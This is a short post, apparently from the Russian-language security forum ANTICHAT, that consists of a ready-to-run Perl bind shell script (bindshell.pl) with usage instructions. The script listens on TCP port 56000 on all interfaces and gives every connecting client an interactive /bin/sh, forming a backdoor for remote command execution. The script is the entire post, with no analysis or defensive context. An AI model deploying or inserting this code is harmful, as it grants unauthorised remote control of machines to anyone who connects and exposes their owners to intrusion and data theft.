ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl
  #bindshell.pl
  #Usage: perl bindshell.pl &
  use Socket;
  $p=56000;
  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')  );
  setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  bind(S,sockaddr_in($p,INADDR_ANY));
  listen(S,50);
  while(1)
  {
  accept(X,S);
  if(!($pid=fork)){
  if(!defined $pid){exit(0);}
  open STDIN,"<&X";
  open STDOUT,">&X";
  open STDERR,">&X";
  exec("/bin/sh -i");
  close X;
  }
  }